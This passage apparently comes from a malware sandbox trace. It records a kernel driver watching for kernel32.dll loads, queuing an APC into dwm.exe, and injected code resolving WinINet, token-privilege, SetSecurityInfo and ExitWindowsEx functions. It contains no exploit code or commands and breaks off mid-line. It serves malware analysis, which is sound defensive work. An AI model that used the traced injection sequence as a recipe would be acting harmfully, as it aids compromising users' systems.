UpcaseTable=0x0) returned 0 [0102.322] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ncsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.331] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winhttp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.341] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\webio.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.346] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.537] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.537] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.597] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.635] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0113.980] IdePortDispatch () returned 0x103 [0113.981] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348d000 [0113.981] IdePortDispatch () returned 0x103 [0114.016] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.017] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wlanutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.135] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WWanAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.147] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.244] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\QAGENT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.339] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\bthprops.cpl", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.388] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ieframe.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0114.389] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleacc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 389 os_tid = 0x640 Thread: id = 393 os_tid = 0x650 Thread: id = 394 os_tid = 0x654 [0102.210] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.531] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskschd.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 402 os_tid = 0x674 Thread: id = 404 os_tid = 0x67c Thread: id = 405 os_tid = 0x680 Thread: id = 411 os_tid = 0x69c [0103.090] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ActionCenter.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 433 os_tid = 0x6f8 [0104.937] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.943] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FXSSVC.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0104.944] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FXSSVC.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 520 os_tid = 0x2b0 Thread: id = 535 os_tid = 0x308 Process: id = "25" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0xae7e000" os_pid = "0x424" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x33c" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" Region: id = 2160 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2161 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2162 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2163 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2164 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2165 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2166 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2167 start_va = 0xffce0000 end_va = 0xffd02fff entry_point = 0xffce49d4 region_type = mapped_file name = "dwm.exe" filename = "\\Windows\\System32\\dwm.exe" Region: id = 2168 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2169 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2170 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2171 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2172 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2173 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2174 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2175 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2176 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2177 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2178 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2179 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2180 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2181 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2182 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2183 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2184 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2185 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2186 start_va = 0x790000 end_va = 0x1b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2187 start_va = 0x1b90000 end_va = 0x1f82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b90000" filename = "" Region: id = 2188 start_va = 0x2130000 end_va = 0x213ffff entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 2189 start_va = 0x2310000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002310000" filename = "" Region: id = 2190 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2191 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2192 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2193 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2194 start_va = 0x7fefae20000 end_va = 0x7fefaec6fff entry_point = 0x7fefae3050c region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" Region: id = 2195 start_va = 0x7fefaed0000 end_va = 0x7fefaf24fff entry_point = 0x7fefaf06b20 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" Region: id = 2196 start_va = 0x7fefaf30000 end_va = 0x7fefaf63fff entry_point = 0x7fefaf57cac region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" Region: id = 2197 start_va = 0x7fefaf70000 end_va = 0x7fefb101fff entry_point = 0x7fefafc700c region_type = mapped_file name = "dwmcore.dll" filename = "\\Windows\\System32\\dwmcore.dll" Region: id = 2198 start_va = 0x7fefb110000 end_va = 0x7fefb136fff entry_point = 0x7fefb117254 region_type = mapped_file name = "dwmredir.dll" filename = "\\Windows\\System32\\dwmredir.dll" Region: id = 2199 start_va = 0x7fefbf20000 end_va = 0x7fefc049fff entry_point = 0x7fefbf23810 region_type = mapped_file name = "WindowsCodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" Region: id = 2200 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc091130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" Region: id = 2201 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 2202 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 2203 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2204 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2205 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2206 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2207 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2208 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2209 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2210 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2211 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2212 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2229 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2230 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2231 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2232 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2233 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2234 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2235 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2236 start_va = 0x2510000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 2237 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2238 start_va = 0x2870000 end_va = 0x2b3efff entry_point = 0x2870000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Thread: id = 265 os_tid = 0x428 [0089.355] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\dwm.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.356] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.358] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0089.358] IoIs32bitProcess (Irp=0x0) returned 0 [0089.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800372a610 [0089.358] KeInitializeApc (Apc=0xfffffa800372a610, Thread=0xfffffa80037f23c0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0089.358] KeInsertQueueApc (Apc=0xfffffa800372a610, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0089.358] ExFreePoolWithTag (P=0xfffffa800372a610, Tag=0x0) [0089.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800380d760 [0089.358] IoGetCurrentProcess () returned 0xfffffa800380b630 [0089.358] PsGetCurrentProcessId () returned 0x424 [0089.358] IoIs32bitProcess (Irp=0x0) returned 0 [0089.358] KeInitializeEvent (in: Event=0xfffffa800380d7a0, Type=0x0, State=0 | out: Event=0xfffffa800380d7a0) [0089.358] ExQueueWorkItem (in: WorkItem=0xfffffa800380d760*(List.Flink=0x0, List.Blink=0x100060000, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800380d760), QueueType=0x1 | out: WorkItem=0xfffffa800380d760*(List.Flink=0x0, List.Blink=0x100060000, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800380d760)) [0089.380] KeWaitForMutexObject () returned 0x0 [0089.380] ExFreePoolWithTag (P=0xfffffa800380d760, Tag=0x0) [0089.381] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.389] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.389] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.389] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.390] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.391] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.393] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.393] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.393] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.396] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmredir.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.408] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmcore.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.415] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.415] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.416] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.417] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WindowsCodecs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.417] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.423] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\d3d10_1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.431] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\d3d10_1core.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.442] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dxgi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.447] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.447] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.447] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.691] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0089.691] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0089.691] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0089.691] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0089.691] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0089.691] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0089.692] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.692] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.692] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.693] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.694] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.694] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.694] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.702] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0089.702] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0089.703] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0089.703] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0089.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.704] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0089.704] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0089.704] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0089.704] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0089.705] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0089.705] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0089.705] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0089.705] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0089.705] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0089.706] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0089.707] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0089.707] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x20f188 | out: lpflOldProtect=0x20f188*=0x40) returned 1 [0089.707] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x20f188 | out: lpflOldProtect=0x20f188*=0x4) returned 1 [0089.707] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0089.707] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0089.708] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0089.709] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0089.709] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0089.709] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0089.709] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0089.709] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0089.709] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0089.709] 